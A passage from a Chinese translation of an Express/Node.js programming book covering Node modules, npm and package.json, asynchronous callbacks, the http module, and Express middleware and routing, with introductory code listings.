var url = require("url");   #A var parsedURL = url.parse("http://www.example.com/   #B                        [CA]profile?name=barry");  #B console.log(parsedURL.protocol);  // "http:" console.log(parsedURL.host);      // "www.example.com" console.log(parsedURL.query);     // "name=barry"

A 这要求一个名为 "url" 的模块,并将其放入一个名为 "url" 的变量中。这是一个约定,它们是相同的。

B 这使用了 url.parse。如果没有第一行导入模块,这将抛出一个未定义的错误。

在上面的例子中,require("url") 返回一个具有附加 parse 函数的对象。然后我们就像使用任何对象一样使用它!

如果你将其保存为 url-test.js,你可以使用 node url-test.js 运行它。它将打印出我们示例 URL 的协议、主机和查询。

大多数时候,当你需要导入一个模块时,你会将一个与模块本身同名的变量放入其中。上面的例子将 url 模块放入了一个同名的变量中:url。

但你不必这样做!如果我们愿意,我们可以将其放入一个完全不同名称的变量中。以下示例说明了这一点:

列表 2.3 将事物导入不同的变量名

var theURLModule = require("url"); var parsedURL = theURLModule.parse("http://example.com"); // ...

给变量命名与你要导入的内容相同的名称是一种松散的约定,以防止混淆,但在代码中并没有强制执行这一点。

2.2.2 使用 package.json 和 npm 导入第三方模块

Node 有几个内置模块,但它们通常不足以满足需求;在制作应用程序时,第三方包是必不可少的。毕竟,这本书是关于第三方模块的,所以你绝对应该知道如何使用它们!

我们需要首先讨论的是 package.json。每个 Node 项目都位于一个文件夹中,每个 Node 项目的根目录下都有一个名为 package.json 的文件。(当我提到“每个 Node 项目”,我的意思是每一个,从第三方包到应用程序。你很可能不会在没有 package.json 的情况下构建 Node 项目。)

"package dot json" 是一个相当简单的 JSON 文件,它定义了项目元数据,如项目的名称、版本和作者。它还定义了项目的依赖项。

让我们创建一个简单的应用程序。创建一个新的文件夹,并将以下内容保存到 package.json

列表 2.4 一个简单的 package.json 文件

{   "name": "my-fun-project",   #A   "author": "Evan Hahn",      #B   "private": true,            #C   "version": "0.2.0",         #D   "dependencies": {}          #E``}

A 定义你项目的名称。

B 定义作者。如果你有多个作者,这可以是一个作者数组,而且很可能不是 "Evan Hahn"。

C 这表示 "这是一个私有项目;不要让我被发布到包注册库供任何人使用。"

D 定义包的版本。

E 注意,这个项目目前还没有依赖项。我们很快就会安装一些。

现在我们已经定义了我们的包,我们可以安装它的依赖项。

当你安装 Node 时,你实际上得到了两个程序:Node(正如你可能预期的)和称为 npm 的东西(故意小写)。npm 是 Node 的官方助手,它帮助你处理 Node 项目。

npm 通常被称为 "Node 包管理器",但其全称从未被明确指出——其网站随机显示诸如 "Never Poke Monkeys" 或 "Nine Putrid Mangos" 这样的名字。它可能避免了 "包管理器" 这个名称,因为它做的不仅仅是包管理,但包管理可能是其最大的特性,我们现在就要使用它。

假设我们想使用 Mustache(见 mustache.github.io/),一个标准的简单模板系统。它允许你将模板字符串转换为 "真实" 字符串。一个例子最能说明问题:

列表 2.5 Mustache 模板系统的示例

// 返回 "Hello, Nicholas Cage!" Mustache.render("Hello, {{first}} {{last}}!", {   first: "Nicholas",   last: "Cage" });   // 返回 "Hello, Sheryl Sandberg!" Mustache.render("Hello, {{first}} {{last}}!", {   first: "Sheryl",   last: "Sandberg" });

假设我们想写一个简单的 Node 应用程序,使用 Mustache 模块向 Nicholas Cage 打招呼。

从这个目录的根目录运行 npm install mustache --save。(你必须从这个目录的根目录运行这个命令,这样 npm 才知道在哪里放置东西。)这个命令将在该目录中创建一个新的文件夹,名为 node_modules。然后它下载 Mustache 包的最新版本并将其放入这个新的 node_modules 文件夹中(进去看看吧!)最后,--save 标志将其添加到你的 package.json 文件中。你的 package.json 文件应该看起来类似,但现在它将包含 Mustache 包的最新版本:

列表 2.6 一个简单的 package.json 文件

{   "name": "my-fun-project",   "author": "Evan Hahn",   "private": true,   "version": "0.2.0",   "dependencies": {     "mustache": "².0.0"  #A   }``}

A 注意这个新行。你的依赖项版本可能比这里的新。

如果你没有使用--save标志,你会看到新的node_modules文件夹,里面会有 Mustache,但在你的package.json中没有任何内容。你想要在package.json中列出依赖项的原因是,如果有人得到了你的项目,他们稍后可以安装这些依赖项——他们只需要运行npm install而不带任何参数。Node 项目通常在package.json中列出依赖项,但它们并不包含实际的依赖文件(它们不包含node_modules文件夹)。

现在我们已经安装了它,我们就可以在我们的代码中使用 Mustache 模块了!

列表 2.7 使用 Mustache 模块

var Mustache = require("mustache");  #A var result = Mustache.render("Hi, {{first}} {{last}}!", {   first: "Nicolas",   last: "Cage" });``console.log(result);

A 注意我们是如何 require Mustache 的——就像一个内置模块。

将上述代码保存为mustache-test.js,并使用node mustache-test.js运行它。你应该会看到文本“Hi, Nicholas Cage!”出现。

就这样!一旦安装到node_modules中,你就可以像使用内置模块一样使用 Mustache。Node 知道如何从node_modules文件夹中 require 模块。

当你添加依赖项时,你也可以手动编辑package.json,然后运行npm install。你也可以安装特定版本的依赖项,或者从非官方 npm 注册处安装它们;更多内容请参阅npm install文档(docs.npmjs.com/cli/install)。

npm init

npm 的功能远不止安装依赖项。例如,它允许你自动生成你的 package.json 文件。你可以手动创建 package.json,但 npm 可以为你完成这项工作。

在你的新项目目录中,你可以输入 npm init。它会询问你关于项目的一些问题——项目名称、作者、版本等——完成后,它会保存一个新的 package.json。这个生成的文件没有什么神圣的;你可以随意更改它。但它可以在创建这些 package.json 文件时节省你一些时间。

2.2.3 定义自己的模块

我们一直在使用他人的模块——现在让我们学习如何定义自己的模块。

假设我们想要一个函数,该函数返回 0 到 100 之间的随机整数。在没有模块魔法的情况下,这个函数可能看起来像这样:

列表 2.8 返回 0 到 100 之间随机整数的函数

var MAX = 100; function randomInteger() {    return Math.floor((Math.random() * MAX));``}

这可能不会太震撼;这可能是你在浏览器环境中编写该函数的方式。但在 Node 中,我们不能只是将其保存到文件中,然后结束;我们需要选择一个变量来导出,这样当其他文件require这个文件时,它们就知道要抓取什么。在这种情况下,我们将导出randomInteger

尝试将以下内容保存到名为random-integer.js的文件中:

列表 2.9 random-integer.js

var MAX = 100; function randomInteger() {    return Math.floor((Math.random() * MAX)); } module.exports = randomInteger; #A

A 这一行实际上完成了模块对其他文件的“导出”。

最后一行可能是新接触 Node 的人感到陌生的地方。你只能导出一个变量,并且你会通过将module.exports设置为它来选择那个变量。在这个例子中,我们导出的变量是一个函数。在这个模块中,MAX没有被导出,所以这个变量对任何需要这个文件的人来说都是不可用的。没有人能够导入它——它将保持模块的私有性。

REMEMBER module.exports 可以是任何你想要的东西。任何你可以分配变量的东西都可以分配给module.exports。在这个例子中,它是一个函数,但通常是对象。如果你愿意,甚至可以是字符串、数字或数组!

现在,假设我们想要使用我们新的模块。在random-integer.js所在的同一目录下,保存一个新文件。你给它取什么名字都无关紧要(只要它不是random-integer.js),但让我们叫它print-three-random-integers.js

列表 2.10 从另一个文件使用我们的模块

var randomInt = require("./random-integer"); #A console.log(randomInt()); // 12 console.log(randomInt()); // 77 console.log(randomInt()); // 8

A 注意这是一个相对路径。

我们现在可以像使用其他模块一样使用它,但我们必须使用点语法指定路径。除此之外,它完全一样!你可以像使用其他模块一样使用它。

你可以像运行其他代码一样运行这段代码,通过运行node print-three-random-integers.js。如果你一切都做对了,它将打印出 0 到 100 之间的三个随机数!

你可能会尝试运行node random-integer.js,你会注意到它似乎没有做什么。它导出了一个模块,但定义一个函数并不意味着函数会运行并打印任何东西到屏幕上!

NOTE 这本书只涵盖在项目内部创建本地模块。如果你对为所有人使用发布开源包感兴趣,请查看我网站上关于如何创建 npm 包的指南evanhahn.com/make-an-npm-baby

那就是对 Node 模块系统的快速介绍!

2.3 Node:一个异步的世界

在第一章中,我们讨论了 Node 的异步特性。我使用了“让我们烤松饼”的类比。当我正在为我的松饼准备面糊时,我无法做其他实质性的事情;我无法读书;我无法再准备更多的面糊,等等。但是一旦我把松饼放进烤箱,我就可以做其他事情了。我不会只是站在那里盯着烤箱,直到它发出哔哔声——我可以去慢跑。当烤箱哔哔声响起时,我又回到了烤松饼的责任上,我又开始忙碌了。

这里的一个关键点是,我永远不会同时做两件事。即使同时发生多件事(我可以在松饼烤制时慢跑),我也只会一次做一件事。这是因为烤箱不是“我”——它是一个外部资源。

图片

图 2.2 比较异步世界(如 Node)和同步世界。

Node 的异步模型工作方式类似。一个浏览器可能会从你的 Node 驱动的 Web 服务器请求一张 100 兆字节的猫图片。你开始从硬盘加载这张大图片。就我们而言,硬盘是一个外部资源,所以我们请求文件,然后我们可以在等待它加载的同时做其他事情。

当你正在加载该文件时,第二个请求进来了。你不必等待第一个请求完全完成——当你等待硬盘完成它正在处理的工作时,你可以开始解析第二个请求。再次强调:Node 实际上并不是同时做两件事,但当外部资源正在处理某事时,你不会被卡住等待。

在 Express 中,你将遇到的两个最常见的外部资源是:

  1. 任何涉及文件系统的事情——比如从硬盘读取和写入文件

  2. 任何涉及网络的事情——比如接收请求、发送响应或通过互联网发送自己的请求

从概念上讲,就是这样了!

在代码中,这些异步操作是通过回调来处理的。如果你在网页上做过 AJAX 请求,你可能做过类似的事情;你发送一个请求并传递一个回调。当浏览器完成你的请求后,它会调用你的回调。Node 正是以这种方式工作的。

例如,假设你正在从磁盘读取一个名为myfile.txt的文件。当你读取完整个文件后,你想要打印文件中字母 X 出现的次数。这可能的工作方式如下:

列表 2.11 从磁盘读取文件

var fs = require("fs");  #A var options = { encoding: "utf-8" };                      #B fs.readFile("myfile.txt", options, function(err, data) {  #B   if (err) {                                #C     console.error("Error reading file!");   #C     return;                                 #C   }                                         #C     console.log(data.match(/x/gi).length + " letter X's");   #D });

A 如我们之前所见,需要 Node 的文件系统模块。

B 读取 myfile.txt(并将字节解释为 UTF-8)。

C 处理读取文件时遇到的任何错误。

D 使用正则表达式打印 X 的数量。

让我们逐步分析这段代码。

首先,我们引入 Node 的内置文件系统模块。这个模块提供了大量的函数,用于文件系统上的各种任务,最常见的是读取和写入文件。在这个例子中,我们将使用它的readFile方法。

接下来,我们设置一些选项,这些选项将传递给fs.readFile。我们使用文件名(myfile.txt)、我们刚刚创建的选项和一个回调函数来调用它。当文件从磁盘读取完毕后,Node 将跳转到你的回调函数。

Node 中的大多数回调都是以错误作为它们的第一个参数。如果一切顺利,err参数将是null。但如果事情不顺利(比如文件不存在或已损坏),err参数将有一些值。处理这些错误是一种最佳实践。有时错误不会完全阻止你的程序,你可以继续执行,但通常你会处理错误,然后通过抛出错误或返回来跳出回调。

这是一种常见的 Node 实践,你几乎在任何看到回调的地方都能看到它。

最后,一旦我们知道没有错误,我们就打印出文件中 X 的数量!我们使用一个小正则表达式技巧来完成这个任务。

好吧,让我们来个小测验:如果我们在这个文件的最后添加一个console.log语句,会发生什么?

列表 2.12 在异步操作后添加 console.log

var fs = require("fs"); var options = { encoding: "utf-8" }; fs.readFile("myfile.txt", options, function(err, data) {   // ... }); console.log("Hello world!"); #A

注意:这里添加了一行。

由于这个文件读取操作是异步的,我们会在看到任何来自文件的结果之前看到“Hello world”。这是因为外部资源——文件系统——还没有给我们回复。

这就是 Node 的异步模型如何变得非常有帮助。当外部资源正在处理某事时,我们可以继续执行其他代码。在 Web 应用程序的上下文中,这意味着我们可以同时解析更多的请求。

注意:有一个关于 JavaScript 中回调和事件循环如何工作的精彩视频(在 Node 和浏览器中都是如此)。如果你对理解细节感兴趣,我非常推荐 Philip Roberts 的"What the heck is the event loop anyway?",你可以在这里观看:www.youtube.com/watch?v=8aGhZQkoFbQ

2.4 使用 Node 构建 Web 服务器:HTTP 模块

理解 Node 中的大概念将帮助你理解 Express 最重要的内置模块:它的 HTTP 模块。这个模块使得使用 Node 开发 Web 服务器成为可能,也是 Express 构建的基础。

Node 的http模块有许多功能(例如向其他服务器发送请求),但我们将使用它的 HTTP 服务器组件:一个名为http.createServer的函数。这个函数接受一个回调,每当有请求进入你的服务器时都会被调用,并返回一个服务器对象。以下是一个非常简单的服务器,它会随每个请求发送“hello world”(如果你想要运行它,可以将其保存为myserver.js):

列表 2.13 使用 Node 的简单“hello world”Web 服务器

var http = require("http");           #A function requestHandler(request, response) {             #B   console.log("In comes a request to: " + request.url);  #B   response.end("Hello, world!");                         #B }                                                        #B   var server = http.createServer(requestHandler);  #C  server.listen(3000);  #D

A 引入 Node 的内置 HTTP 模块。

B 定义一个处理传入 HTTP 请求的函数。

C 创建一个使用您的函数来处理请求的服务器。

D 在端口 3000 上启动服务器监听。

这段代码被分成四个部分。

第一部分只是引入了 HTTP 模块并将其放入一个名为 http 的变量中。我们上面看到了 URL 模块和文件系统模块——这完全一样。

接下来,我们定义一个请求处理函数。这本书中的大部分代码要么是请求处理函数,要么是调用一个函数的方式,所以请注意!这些请求处理函数接受两个参数:一个表示请求的对象(通常简称为 req)和一个表示响应的对象(通常简称为 res)。请求对象包含诸如浏览器请求的 URL(他们请求的是主页还是关于页面?),或者访问你页面的浏览器类型(称为用户代理),或者类似的东西。你在响应对象上调用方法,Node 将打包字节并发送它们穿过互联网。

其余的代码将 Node 的内置 HTTP 服务器指向请求处理函数,并在端口 3000 上启动。

HTTPS 呢?Node 还附带了一个名为 https 的模块。它与 http 模块非常相似,使用它创建一个网络服务器几乎完全相同。如果你决定稍后更换,如果你知道如何做 HTTPS,应该不到 2 分钟就能完成。如果你对 HTTPS 了解不多,不用担心这个问题。

你可以将上面的代码保存到一个名为 myserver.js 的文件中。要运行服务器,输入 node myserver.js(或者只是 node myserver)。现在,如果你在浏览器中访问 localhost:3000,你将看到类似于图 2.3 的内容。

图片

图 2.3 一个简单的 "Hello World" 应用程序。

你还会注意到,每次你访问一个页面时,你的控制台都会出现一些内容。尝试访问几个其他的 URL:localhost:3000/localhost:3000/hello/worldlocalhost:3000/what?is=anime。控制台中的输出将会改变,但你的服务器不会做任何不同的事情,它总是会输出 "Hello, world!" 图 2.4 展示了你的控制台可能的样子:

图片

图 2.4 "Hello World" 应用的控制台可能看起来像这样。

注意到请求 URL 中任何地方都没有包含"localhost:3000"。这可能有点不太直观,但事实证明这非常有帮助。这允许你将你的应用程序部署在任何地方,从你的本地服务器到你最喜欢的.com 地址。它将无需任何更改即可工作!

可以想象解析请求 URL。你可以想象做些类似这样的事情:

列表 2.14 使用请求处理函数解析请求 URL

// … function requestHandler(req, res) {   if (req.url === "/") {     res.end("欢迎来到主页!");   }   else if (req.url === "/about") {     res.end("欢迎来到关于页面!");   }   else {     res.end("错误!文件未找到。");   } } // …

你可以想象在这个请求处理函数中构建你的整个网站。对于非常小的网站,这可能很容易,但你可能会想象这个函数很快就会变得庞大且难以控制。你可能需要一个框架来帮助你清理这个 HTTP 服务器……事情可能会变得混乱!

这就是 Express 将发挥作用的地方。

2.5     摘要

在本章中,我们学习了:

·  如何安装 Node.js

·  如何通过使用requiremodule.exports来使用其模块系统

·  使用package.json描述我们项目的元数据,如名称、作者、版本等

·  使用 npm 通过npm install安装包(以及一些其他技巧,如init

·  Node 的异步、事件驱动 I/O 概念——你可以同时做两件事

·  如何使用 Node 的内置 HTTP 模块构建一个简单的 Web 服务器

3 Express 的基础

正如我们在上一章中看到的,Node.js 自带了许多内置模块,其中之一被称为http。Node 的 HTTP 模块允许你构建一个能够响应浏览器(以及更多)HTTP 请求的 HTTP 服务器。简而言之,HTTP 模块让你能够使用 Node 构建网站!

虽然你可以仅使用 Node 的内置 HTTP 模块构建完整的 Web 服务器,但你可能不想这样做。正如我们在第一章中讨论的,以及在第二章中看到的,HTTP 模块公开的 API 相当有限,并没有为你做很多繁重的工作。

正是 Express 在这里发挥作用:它是一个有用的第三方模块(即,不是与 Node.js 捆绑在一起的)。实际上,你可以用“纯”Node 编写一切,而无需接触 Express。但正如我们将看到的,Express 简化了许多困难的部分,并说“别担心,你不需要处理这部分丑陋的部分。我会处理这个!”换句话说,它就像魔法一样!

在本章中,我们将从我们的 Node 知识出发,努力真正理解 Express。我们将讨论它与“纯”Node 的关系,中间件和路由的概念,以及学习 Express 为我们提供的其他优秀功能。在未来的章节中,我们将更深入地探讨;本章将给出一个代码密集的框架概述。

在高层次上,Express 实际上只提供了四个主要功能,我们将在本章中学习这些功能:

  1. 与“纯”Node 相比,其中你的请求只通过一个函数,Express 有一个“中间件栈”,这实际上是一个函数数组。

  2. 路由与中间件类似,但只有在访问特定 URL 并使用特定 HTTP 方法时才会调用函数。例如,你可以在浏览器访问yourwebsite.com/about时仅运行请求处理器。

  3. Express 还扩展了请求和响应,为开发者提供了许多额外的方法和属性,以便于使用。

  4. 视图允许你动态渲染 HTML。这不仅允许你在飞行中更改 HTML,还允许你用其他语言编写 HTML。

我们将在本章构建一个简单的留言簿,以了解这四个功能。

3.1 中间件

Express 的一个最大特性被称为“中间件”。中间件与我们在“纯”Node 中看到的请求处理器非常相似(接受请求并返回响应),但中间件有一个重要的区别:它不仅仅有一个处理器,中间件允许多个处理器按顺序发生。

中间件有多种应用,我们将探讨。例如,一个中间件可以记录所有请求,然后继续到另一个为每个请求设置特殊 HTTP 标头的中间件,然后继续进一步。虽然我们可以用一个大的请求处理器来完成这个任务,但我们会看到,通常将不同的任务分解成单独的中间件函数更可取。如果你现在感到困惑,不要担心——我们将有一些有用的图表和一些具体的例子。

在其他框架中的类似之处 中间件并不仅限于 Express;它在很多其他地方以不同的形式存在。中间件存在于其他 Web 应用程序框架中,如 Python 的 Django 或 PHP 的 Laravel。Ruby Web 应用程序也有这个概念,通常称为 "Rack 中间件"。尽管 Express 有自己独特的中间件风味,但这个概念可能对你来说并不陌生。

让我们开始使用 Express 的中间件功能重写我们的 "Hello, World" 应用程序。我们会看到它有更少的代码行,这可以帮助我们加快开发速度并减少潜在错误的数量。

3.1.1 使用 Express 的 "Hello, World"

让我们设置一个新的 Express 项目。创建一个新的目录,并在其中放置一个名为 package.json 的文件。回想一下,package.json 是我们存储有关 Node 项目信息的方式。它列出了简单的数据,如项目的名称和作者,还包含有关其依赖项的信息。

从一个骨架 package.json 开始:

列表 3.1 一个裸骨的 package.json

{   "name": "hello-world",   "author": "Your Name Here!",   "private": true,   "dependencies": {}``}

...然后安装 Express 并将其保存到你的 package.json 中:

npm install express –save

运行此命令将在第三方 Node 软件包目录中查找 Express 并获取最新版本。它将把它放在一个名为 node_modules/ 的文件夹中。将 --save 添加到安装命令中,它将保存到 package.jsondependencies 键下。运行此命令后,你的 package.json 将类似于以下内容:

列表 3.2 使用 --save 标志安装 Express 后的 package.json

{   "name": "hello-world",   "author": "Your Name Here!",   "private": true,   "dependencies": {     "express": "⁴.10.5"   } }

好的,现在我们准备好了。将此文件保存为 app.js:

列表 3.3 使用 Express 的 "Hello, World"

var express = require("express");  #A var http = require("http"); var app = express();   #B app.use(function(request, response) {  #C   response.writeHead(200, { "Content-Type": "text/plain" });      #C   response.end("Hello, World!");  #C });  #C http.createServer(app).listen(3000);  #D

A 块中有一个新成员:Express 模块。我们像要求 http 模块一样要求它。

B 要启动一个新的 Express 应用程序,我们只需调用 express 函数。

C 这个函数被称为 "中间件"。正如我们将看到的,它看起来非常像之前的请求处理器。

D 启动服务器!

现在让我们逐步分析这个。

首先,我们引入 Express。然后,就像之前一样,我们引入 Node 的 HTTP 模块。我们已经准备好了。

然后我们创建了一个名为 app 的变量,就像之前一样,但不是创建服务器,而是调用 express(),它返回一个请求处理函数。这很重要:这意味着我们可以像之前一样将结果传递给 http.createServer

记得我们在上一章中使用的请求处理函数,使用“纯”Node?它看起来像这样:

var app = http.createServer(function(request, response) {   response.writeHead(200, { "Content-Type": "text/plain" });   response.end("Hello, world!");``});

在这个例子中,我们有一个非常类似的功能(实际上,我是复制粘贴的)。它也传递了一个请求和响应对象,我们以相同的方式与它们交互。

接下来,我们创建服务器并开始监听。回想一下,http.createServer 之前接受了一个函数,所以——app 只是一个函数。它是一个 Express 制作的请求处理函数,它将从中间件开始一直处理到结束。最终,它只是一个像之前一样的请求处理函数。

注意:你会看到人们使用 app.listen(3000),这实际上只是将调用委托给 http.createServer。这只是简写,就像我们在后续章节中将 request 简写为 reqresponseres 一样。

3.1.2 中间件在高级层面上的工作原理

在 Node 中,所有内容都通过一个大函数。为了回顾第二章的一个例子,它看起来像这样:

列表 3.4 Node 请求处理函数

function requestHandler(request, response) {   console.log("In comes a request to: " + request.url);   response.end("Hello, world!");``}

在没有中间件的世界里,我们发现只有一个主请求函数来处理所有事情。如果我们绘制应用程序的流程图,它可能看起来像图 3.1。

图 3.1 没有中间件的请求。

每个请求都通过一个请求处理函数,它最终生成响应。这并不是说主处理函数不能调用其他函数,但最终,主函数会响应每个请求。

使用中间件时,你的请求不是通过你编写的单个函数,而是通过一个由你编写的函数数组(称为“中间件栈”)传递。它可能看起来像图 3.2。

图 3.2 带有中间件的请求。

好吧,所以 Express 允许你执行一个函数数组,而不是一个函数。这些函数可能是什么?为什么我们可能想要这样做?

让我们再次回顾第一章的一个例子:一个验证用户的应用程序。如果用户验证成功,它会显示一些秘密信息。在此期间,我们的服务器会记录进入服务器的每个请求,无论是否已验证。

此应用可能有三个中间件函数:一个用于记录日志,一个用于身份验证,一个用于响应秘密信息。记录中间件将记录每个请求并继续到下一个中间件;身份验证中间件只有在用户被授权的情况下才会继续;最后的中间件将始终响应,并且它不会继续,因为没有其他中间件跟随。

请求可以通过这个简单应用有两种可能的方式;两种可能选项的示意图如图 3.3 所示。

图 3.3 两个请求通过中间件函数。注意中间件有时会继续,但有时会响应请求。

每个中间件函数都可以修改请求或响应,但并不总是必须这样做。最终,某些中间件应该响应请求。它可能是第一个,也可能是最后一个。如果它们都没有响应,那么服务器将会挂起,浏览器将独自坐着,没有响应。

这很强大,因为我们可以将我们的应用程序分成许多小部分,而不是有一个巨大的单一实体。它们变得更容易组合和重新排序,而且也很容易引入第三方中间件。

我们将看到一些例子,希望它们能(希望如此!)使这一切更加清晰。

3.1.3 中间件代码的被动性

中间件可以影响响应,但不必这样做。例如,上一节中的记录中间件不需要发送不同的数据——它只需要记录请求并继续。

让我们从构建一个完全没有用的中间件开始,然后继续前进。下面是一个空中间件函数的样子:

列表 3.5 一个什么也不做的空中间件

function myFunMiddleware(request, response, next) {   ... #A   next(); #B

A 对请求和/或响应进行操作。

B 当我们全部完成时,调用 next() 来将控制权推迟到链中的下一个中间件。

当我们启动服务器时,我们从最顶层的中间件开始,一直工作到底部。所以如果我们想在应用中添加简单的记录,我们可以这样做!

列表 3.6 记录中间件

var express = require("express"); var http = require("http"); var app = express(); app.use(function(request, response, next) { #A   console.log("In comes a " + request.method + " to " + request.url);   next(); }); app.use(function(request, response) {  #B   response.writeHead(200, { "Content-Type": "text/plain" });   response.end("Hello, World!"); }); http.createServer(app).listen(3000);

A 这是记录中间件,它将请求记录到控制台,然后转到下一个中间件。

B 这发送了实际的响应。

运行此应用并访问 http://localhost:3000。在控制台中,你会看到你的服务器正在记录你的请求(刷新以查看)。你也会在浏览器中看到你的 "Hello, World!"。

重要的是要注意,在纯 Node.js 服务器上工作的一切在中间件中也同样有效。例如,你可以在没有 Express 的情况下在纯 Node 网络服务器中检查request.method。Express 并没有去掉它——它就像之前一样在那里。如果你想设置响应的statusCode,你也可以这样做。Express 向这些对象添加了一些东西,但它并没有移除任何东西。

上述示例显示的中间件不会改变请求或响应——它记录请求并始终继续。虽然这种中间件可能很有用,但中间件也可以改变请求或响应对象。

3.1.4 中间件代码改变请求和响应

并非所有中间件都应该被动的——我们示例中的其他中间件并不是这样工作的;它们实际上需要改变响应。

让我们尝试编写之前提到的认证中间件。为了简单起见,让我们选择一个奇怪的认证方案:只有在你访问小时的偶数分钟时(例如 12:00、12:02、12:04、12:06 等)你才是认证的。回想一下,我们可以使用取模运算符(%)来帮助确定一个数是否可以被另一个数整除。

我们将这个中间件添加到我们的应用程序中,如列表 3.7 所示:

列表 3.7 添加伪造认证中间件

app.use(function(request, response, next) {  #A   console.log("In comes a " + request.method + " to " + request.url);   next(); }); app.use(function(request, response, next) {   var minute = (new Date()).getMinutes();   if ((minute % 2) === 0) {     next();   #B   } else {     response.statusCode = 403;        #C     response.end("Not authorized.");  #C   } }); app.use(function(request, response) {   response.end('Secret info: the password is "swordfish"!');  #D``});

A 这就是记录中间件,就像之前一样。

B 如果你是在小时的第一个分钟访问,调用 next()来继续到“发送秘密信息”中间件。

C 如果未经授权,发送状态码 403(“未经授权”)并响应用户。请注意,我们没有调用 next()来继续执行。

D 发送秘密信息!

当请求到来时,它将始终按照你use它们的相同顺序通过中间件。首先,它将从记录中间件开始。然后,如果你是在偶数分钟访问,你将继续到下一个中间件并看到秘密信息。但如果你在小时的任何其他分钟访问,你将停止并无法继续。

3.1.5 第三方中间件库

就像编程的许多部分一样,通常情况下,其他人已经做了你试图做的事情。你可以编写自己的中间件,但通常会发现你想要的功能已经在别人的中间件中实现了。

让我们看看几个有用的第三方中间件的例子。

MORGAN: 记录中间件

让我们移除我们的日志记录器并使用 Morgan,这是一个为 Express 提供的很好的日志记录器,它具有许多功能。日志记录器有很多用途。首先,它们是查看用户行为的一种方式。这不是做市场分析等事情的最佳方式,但当你不确定为什么应用程序崩溃时,它非常有用。我也发现它在开发中非常有用——你可以看到请求何时进入你的服务器。如果有什么问题,你可以使用 Morgan 的日志记录作为合理性检查。

运行 npm install morgan --save 并尝试一下(再次将其保存到 app.js 中):

列表 3.8 使用 Morgan 进行日志记录(在 app.js 中)

var express = require("express"); var logger = require("morgan"); var http = require("http"); var app = express(); app.use(logger("short")); #A app.use(function(request, response) {   response.writeHead(200, { "Content-Type": "text/plain" });   response.end("Hello, World!"); }); http.createServer(app).listen(3000);

A 有趣的事实:logger("short") 返回一个函数。

访问 http://localhost:3000,你会看到一些日志!感谢,摩根。

EXPRESS 的静态中间件

除了 Morgan 之外,还有更多的中间件。

对于网络应用程序来说,需要通过网络发送静态文件是非常常见的。这包括图像、CSS 或 HTML 等内容,这些内容不是动态的。

express.static 与 Express 一起提供,帮助你提供静态文件。发送文件这一简单的行为实际上要做很多工作,因为有很多边缘情况和性能考虑因素需要考虑。Express 来拯救!

假设我们想要从一个名为 "public" 的目录中提供文件。这是我们可以使用 Express 的静态中间件来完成的方式:

列表 3.9 使用 express.static(在 app.js 中)

var express = require("express"); var path = require("path"); var http = require("http"); var app = express(); var publicPath = path.resolve(__dirname, "public"); #A app.use(express.static(publicPath)); #B app.use(function(request, response) {   response.writeHead(200, { "Content-Type": "text/plain" });   response.end("看起来你没有找到静态文件."); }); http.createServer(app).listen(3000);

A 使用 Node 的 path 模块设置公共路径。

B 从 publicPath 目录发送静态文件。

现在,公共目录中的任何文件都会显示出来。我们可以把任何我们想放的东西放进去,服务器会发送它。如果 public 文件夹中没有找到匹配的文件,它将进入下一个中间件,并显示 "Hello, World!"。如果找到匹配的文件,express.static 将发送它并停止中间件链。

为什么使用 path.resolve?

那些关于 path.resolve 的业务是什么?我们为什么不能只说 /public?简短的答案是我们可以,但这不是跨平台的。

在 Mac 和 Linux 上,我们想要这个目录:

/public

但在 Windows 上,我们想要这个目录:

\public

Node 的内置 path 模块将确保在 Windows、Mac 和 Linux 上运行顺畅。

寻找更多中间件

我已经展示了 Morgan 和 Express 的静态中间件,但还有很多。这里有一些其他有用的中间件:

·  connect-ratelimit 允许你限制每小时请求的数量。如果有人向你的服务器发送大量请求,你可以开始给他们错误信息,阻止他们使你的网站崩溃。

·  helmet 帮助你添加 HTTP 头信息,使你的应用程序更安全地防止某些类型的攻击。我们将在后面的章节中探讨它。(我是 Helmet 的贡献者,所以我肯定会推荐它!)

·  cookie-parser 解析浏览器 cookie。

·  response-time 发送 X-Response-Time 头信息,这样你可以调试你应用程序的性能。

我们将在下一章进一步探讨这些中间件选项。

如果你正在寻找更多的中间件,搜索“Express 中间件”会有所帮助,但你也应该搜索“Connect 中间件”。还有一个名为 Connect 的框架,它类似于 Express,但只做中间件。Connect 中间件与 Express 兼容,所以如果“Express 中间件”搜索没有结果,尝试搜索 Connect 中间件。

3.2     路由

路由是一种根据 URL 和 HTTP 动词将请求映射到特定处理器的机制。你可以想象有一个主页、一个关于页面和一个 404 页面。路由可以完成所有这些。我认为用代码比用英语解释更好:

列表 3.10 Express 路由示例

var express = require("express"); var path = require("path"); var http = require("http"); var app = express(); var publicPath = path.resolve(__dirname, "public");  #A app.use(express.static(publicPath));  #A app.get("/", function(request, response) {    #B   response.end("欢迎来到我的主页!"); }); app.get("/about", function(request, response) {    #C   response.end("欢迎来到关于页面!"); }); app.get("/weather", function(request, response) {    #D   response.end("当前天气是晴朗的."); }); app.use(function(request, response) {    #E   response.statusCode = 404;   response.end("404!"); }); http.createServer(app).listen(3000);

A  这设置了类似于我们之前看到的静态中间件。每个请求都会通过这个中间件,如果没有找到静态文件,它将继续到下面的路由。

B 当请求根路径时,这个请求处理器会被调用。在这个例子中,当你访问 http://localhost:3000 时,这个处理器会被调用。

C 当请求到来时,这个请求处理器会被调用,请求的路径是 /about(在这个例子中是 http://localhost:3000/about)。

D 当请求到来时,这个请求处理器会被调用,请求的路径是 /weather(在这个例子中是 http://localhost:3000/weather)。

E 如果我们没有命中静态文件中间件或上述任何路由,那么我们已经尝试了一切,最终会到这里。当你访问一个未知的 URL,如/edward_cullen 或/delicious_foods/burrito.jpg 时,这将会发生。

在基本需求之后,我们添加了我们的静态文件中间件(就像我们之前看到的那样)。这将服务于名为public的文件夹中的任何文件。

app.get的三个调用是 Express 的神奇路由系统。它们也可以是app.post,响应 POST 请求,或者 PUT,或者任何 HTTP 动词。(我们将在后面的章节中更多地讨论这些其他 HTTP 动词。)第一个参数是一个路径,比如/about/weather或者简单地/,网站的根目录。第二个参数是一个请求处理函数,类似于我们在中间件部分看到过的。

它们是我们之前看到过的相同的请求处理函数。它们的工作方式就像中间件一样;只是它们被调用的时机不同。

这些路由可以变得更智能。除了匹配固定路由外,它们还可以匹配更复杂的路由(想象一下正则表达式或更复杂的解析)。

列表 3.11 从路由中获取数据

app.get("/hello/:who", function(request, response) {   #A response.end("Hello, " + request.params.who + ".");  #B });

